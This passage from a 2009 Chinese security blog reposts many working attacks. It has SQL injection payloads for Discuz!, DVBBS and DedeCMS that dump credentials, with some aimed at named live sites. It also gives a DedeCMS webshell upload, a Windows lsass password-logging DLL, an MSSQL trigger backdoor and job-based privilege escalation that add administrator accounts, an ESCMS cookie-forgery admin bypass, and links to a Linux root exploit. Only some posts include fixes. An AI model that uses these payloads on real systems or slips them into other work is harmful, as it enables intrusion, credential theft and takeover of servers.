RSS

最近很背

0 Comments | This entry was posted on Aug 31 2009

最近真的很背,胃出血了,股票也绿了....
订阅的RSS还有好多没看.FUCK,这个世界真的太YD了....

Discuz! Plugin Crazy Star < = 2.0 Sql injection Vulnerability

0 Comments | This entry was posted on Aug 30 2009

========================[Author]============================

[+] Founded : ZhaoHuAn
[+] Contact : ZhengXing[at]shandagames[dot]com
[+] Blog : http://www.patching.net/zhaohuan/
[+] Date : August, 26th 2009 [Double Seventh Festival]

========================[Soft Info]=========================

Software: Discuz! Plugin Crazy Star(family)
Version : 2.0
Vendor : http://www.discuz.com

[-] Exploit:
[+] 1) Register a User
2) Login!
[+] and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members--

[-] SqlI PoC:
[+] http://target/[path]/plugin.php?identifier=family&module=family&action=view&fmid=1+and+1=2+unIon+selecT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members--
[?] = Valid fmid Number

[+] Demo Live:
[-] http://sj.netease.com/plugin.php?identifier=family&module=family&action=view&fmid=6+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,group_concat(uid,0x3a,username,0x3a,password),19,20,21,22,23,24,25,26,27,28,29,30,31 from bbs_members--

[-] http://www.war3club.net/plugin.php?identifier=family&module=family&action=view&fmid=11+and+1=2+unIon+selecT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31,32,33 from cdb_members--

/---------------------------------------------www.zhaohuan.net-------------------------------------------------\

Today is the VALENTINE'S Day in China, the seventh day of the seventh lunar month.
Raise your head on August 26 and gaze at the stars, you will find something romantic going on in the sky ;)
Greetz : Weeny <- love u more & more

\--------------------------------------------------------------------------------------------------------------/

# milw0rm.com [2009-08-26]

可以记录windows登陆密码的东东

0 Comments | This entry was posted on Aug 30 2009

from: t00ls.net

========原理:
windows的身份验证一般最终都是在lsass进程,默认模块是msv1_0.dll,而关键在其导出函数LsaApLogonUserEx2,
本程序通过注入代码到lsass进程hook LsaApLogonUserEx2,截取密码。只要有身份验证的过程,
LsaApLogonUserEx2就会触发,如ipc$,runsa,3389远程桌面登陆等。

程序对不同系统做了处理,在2000,2003,xp,vista上都可以截取,
在2000,2003,xp中,通过UNICODE_STRING.Length 的高8位取xor key,如果密码是编码过的,则通过ntdll.RtlRunDecodeUnicodeString解码,
vista则通过AdvApi32.CredIsProtectedW判断密码是否编码过,解码用AdvApi32.CredUnprotectW。

可以自己调试器挂lsass跑一下:)

========接口:
HRESULT WINAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine);

这是本dll导出的一个函数原型,请不要被名字蛊惑了,这个程序是绿色的。
这个函数内部并没有做任何自启动安装的动作,没有修改注册表或系统文件。只是想选一个符合regsvr32调用的接口而已。

第一个参数本程序没用到,
第二个参数请指定一个文件路径(注意是UNICODE的),记录到的数据将保存到这里(是Ansi的)。
文件路径可以像这样 C:\x.log,
也可以像\\.\pipe\your_pipename, \\.\mailslot\yourslot,
所以你可以自己写loader来调用这个dll,让dll截取到密码时通过pipe或mailslot将数据发给你的程序。数据就是一个字符串(是Ansi的)

========测试:
你可以不急着写自己的loader来调用,用regsvr32作为loader来测试一下:(你可能需要关闭某些主动防御)
regsvr32 /n /i:c:\xxx.log c:\pluginWinPswLogger.dll
正常的话regsvr32弹出一个提示成功。

这时候你可以切换用户或锁定计算机,然后重新登陆进去,这个过程密码信息就被拦截下来了并保存到c:\xxx.log。

=========End

By LZX
2009.08.20

2009.08.22(更新了一下)

can-record-windows-login-password-dongdong

DVBBS php2.0 注入漏洞

3 Comments | This entry was posted on Aug 30 2009

来源:Xiaoz

boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/

admin/index.php

进入后台即可了..

模板CSS里添加上php木马,或者用一句话木马连接即可拿到webshell了.

MsSql 触发器后门

1 Comment | This entry was posted on Aug 30 2009

来源:Xiaoz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%
On Error Resume next
Set conn=Server.CreateObject("ADODB.Connection")
DSN="driver={SQL Server};Server=(Local)\GSQL;database=baby;uid=sa;pwd=lcx;"
conn.Open DSN
if conn.State=1 then
response.write("成功")
sql="Create TRIGGER myasp_bkdoor"&Chr(10)&Chr(13)&"ON users_member"&Chr(10)&Chr(13)&"AFTER Update"&Chr(10)&Chr(13)&"AS"&Chr(10)&Chr(13)&"IF user='dbo' or user='sa'"&Chr(10)&Chr(13)&"BEGIN"&Chr(10)&Chr(13)&"PRINT 'dbo or sa logon'"&Chr(10)&Chr(13)&"EXEC master..xp_cmdshell'net user st0p 123456 /add&&net localgroup administrators st0p /add'"&Chr(10)&Chr(13)&"END"&Chr(10)&Chr(13)&"ELSE"&Chr(10)&Chr(13)&"BEGIN"&Chr(10)&Chr(13)&"PRINT 'not dbo or sa privilage'"&Chr(10)&Chr(13)&"END"&Chr(10)&Chr(13) '建立myasp_bkdoor触发器,触发baby库中的users_member表的update操作加用户
SQL1="update users_member set email=3 where accountid=1" '触发
'sql2="drop TRIGGER myasp_bkdoor"
set rs=conn.execute(SQL)&conn.execute(SQL1,iRowsAffected, &H0001)'&conn.execute(SQL2) '触发
Do Until Rs.EOF
      Response.Write " <tr>" & vbNewLine
      For I = 0 To Rs.Fields.Count - 1
       Response.Write "<td>" & SQLOut(oRs(I)) & "</td>" & vbNewLine
      Next
      Response.Write " </tr>" & vbNewLine
      Rs.MoveNext
     Loop
 
else
response.write("失败")
end if
%>

dedecms digg_frame.php注入漏洞

0 Comments | This entry was posted on Aug 29 2009

来源:张恒

dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。

假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:

http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>

可看见以下错误信息
dedecms-digg_frame-php-injection-vulnerability

2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

3. 下载下面dedecms-digg_frame-php-injection-vulnerability并解压里面的文件 test.html,注意 form 中 action 的地址是

1
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

按确定后的看到第2步骤的信息表示文件木马上传成功。

木马网址:http://www.abc.com/data/a.php
密码:2006888

漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。

解决方案:

打开文件 include/dedesql.class.php
找到代码

1
@fwrite($fp,<.'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);

替换代码

1
@fwrite($fp,<.'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);

清空 data/mysql_error_trace.php 文件内容

下载:dedecms-digg_frame-php-injection-vulnerability.rar

st0p:以上是原文了,作者没有说明引起的原因,st0p看了一下,发现这个漏洞是因为DEDECMS在执行SQL错误时,会写入错误记录文件引起的,同理呢调用Execute和Query函数的地方很可能还会引起此BUG,重要代码如下
include/dedesql.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
	function Execute($id="me", $sql='')
	{
	......
		//SQL语句安全检查
		if($this->safeCheck)
		{
			CheckSql($this->queryString); //检测了SQL语句的问题,可是没有过滤php代码。。
		}
 
	......	
 
		if($this->result[$id]===false)
		{
			$this->DisplayError(mysql_error()." <br />Error sql: <font color='red'>".$this->queryString."</font>");
            //这里当碰到错误时会调用DisplayError函数,把queryString写进错误日志了,错误日志后缀是PHP哦。。
		}
	}
 
	function DisplayError($msg)
	{
		$errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.php';
		$emsg = '';
		$emsg .= "<div><h3>DedeCMS Error Warning!</h3>\r\n";
		$emsg .= "<div><a href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>";
		$emsg .= "<div style='line-helght:160%;font-size:14px;color:green'>\r\n";
		$emsg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n";
		$emsg .= "<div>Error infos: {$msg}</div>\r\n";
		$emsg .= "<br /></div></div>\r\n";
 
		echo $emsg;
 
		$savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
		//保存MySql错误日志
		$fp = @fopen($errorTrackFile, 'a');
		@fwrite($fp, '<'.'?php'."\r\n/*\r\n{$savemsg}\r\n*/\r\n?".">\r\n");
		@fclose($fp);
	}

其实呢,把data目录的写权限去掉,也能防止写文件哦。。,因为安装完新的DEDECMS,是没有data/mysql_error_trace.php文件的。。

针对Dbowner权限下的提权脚本

6 Comments | This entry was posted on Aug 26 2009

来源:惘然

一个针对MSSQL 2000 下的提权脚本,Dbowner提权网络上大部分都是备份到启动项后通过重启服务器达到提权的目的.但效果并不理想.其实在MMSQL 中如果开启了 SQL Server Agent 服务的话可以通过低权限下建立帐户.Code:

1
2
3
4
5
6
7
8
9
10
11
EXEC sp_add_job @job_name = 'st0p',
@enabled = 1,
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'st0p',
@step_name = 'ExeC my sql',
@subsystem = 'TSQL',
@CommAnd = 'exeC master..xp_exeCresultSet N''select ''''exeC
master..xp_Cmdshell "<% =Serverdos%>>C:\jk.txt"'''''',N''Master'''
EXEC sp_add_jobServer @job_name = 'st0p',
@Server_name = '<%=Servername%>'
EXEC sp_start_job @job_name = 'st0p'

under-the-purview-of-mention-for-the-right-of-dbowner-script1

under-the-purview-of-mention-for-the-right-of-dbowner-script2

下载地址:under-the-purview-of-mention-for-the-right-of-dbowner-script

MSSQL2005 手工盲注详解

0 Comments | This entry was posted on Aug 26 2009

来源:惘然

一.开启扩展

1.开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;--

dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
(添加xplog70.dll)

2.开启'OPENROWSET'
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;--

查询分析器里执行select * from openrowset('microsoft.jet.oledb.4.0','
;database=c:\windows\system32\ias\ias.mdb',
'select shell("cmd.exe /c net user admin admin1234 /add")')来利用沙盘来添加个管理员

3.开启'sp_oacreate'
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;--

拷贝文件d:\windows\explorer.exe 至sethc.exe
declare @o int;exec sp_oacreate 'scripting.filesystemobject', @o out ;exec sp_oamethod @o, 'copyfile',null,'d:\windows\explorer.exe' ,'c:\sethc.exe';

在查询分析器里执行
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user xcode xcode /add'
这段代码就是利用SP_OAcreate来添加一个xcode的系统用户 然后直接提升为管理员权限

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来

二.有显错,暴。

and 0< (select count(*) from master.dbo.sysdatabases);--折半法得到数据库个数

and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--依次提交 dbid = 2.3.4... 得到更多的数据库名

and 0< (select count(*) name from employ.dbo.sysobjects where xtype='U');--折半法得到表个数(假设暴出库名employ)

and 0<(select top 1 name from employ.dbo.sysobjects where xtype='U');--爆出一个表名

假设暴出表名为"employ_qj"则在上面语句上加条件 and name not in ('employ_qj' 以此一直加条件... Read more »

ESCMS 0DAY

0 Comments | This entry was posted on Aug 18 2009

作者:st0p
转载请注明http://www.st0p.org

版本:ESCMS V1.0 SP1 Build 1125
后台登陆验证是通过admin/check.asp实现的,看代码

1
2
3
4
5
6
7
8
9
< %
if Request.cookies(CookiesKey)("ES_admin")="" then 
'注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不为空
'CookiesKey在inc/ESCMS_Config.asp文件中,默认为ESCMS$_SP2
Call Err_Show()
Response.End()
End if
......
%>

首先我们打开http://target.com/admin/es_index.html

escms-0day1

然后在COOKIE结尾加上
; ESCMS$_SP2=ES_admin=st0p;
escms-0day2
修改,然后刷新
escms-0day3

进后台了嘎.. Read more »

Linux内核高危漏洞,一个命令直接提权

4 Comments | This entry was posted on Aug 17 2009

来源:baoz

在微软本月月经日(8.11)的同一天,国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞,包括但不限于 RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行一个命令,就可以通过此漏洞获得root权限,即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单,下面我们看图说话,有图有真相。

linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right

如上图所示,利用此漏洞极其简单,并且影响所有的Linux内核,baoz强烈建议系统管理员或安全人员参考下列临时修复方案,以防止Linux系统被攻击 。

2个攻击包下载
1、linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right
2、http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz

1、使用Grsecurity或者Pax内核安全补丁,并开启KERNEXEC防护功能。

2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。

3、如果您使用的是RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统,您可以通过下面的操作简单的操作防止被攻击。

在/etc/modprobe.conf文件中加入下列内容:

install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true

很明显,第三个方案最简单也相对有效,对业务影响也最小,如果您对编译和安装Linux内核不熟悉,千万不要使用前两个方案,否则您的系统可能永远无法启动。

Linux在微软的月经日爆如此严重的漏洞,挺值得纪念的。如果您希望了解本漏洞更多的内幕、八卦和细节,请访问http://baoz.net/linux-sockops-wrap-proto-ops-local-root-exploit/ 。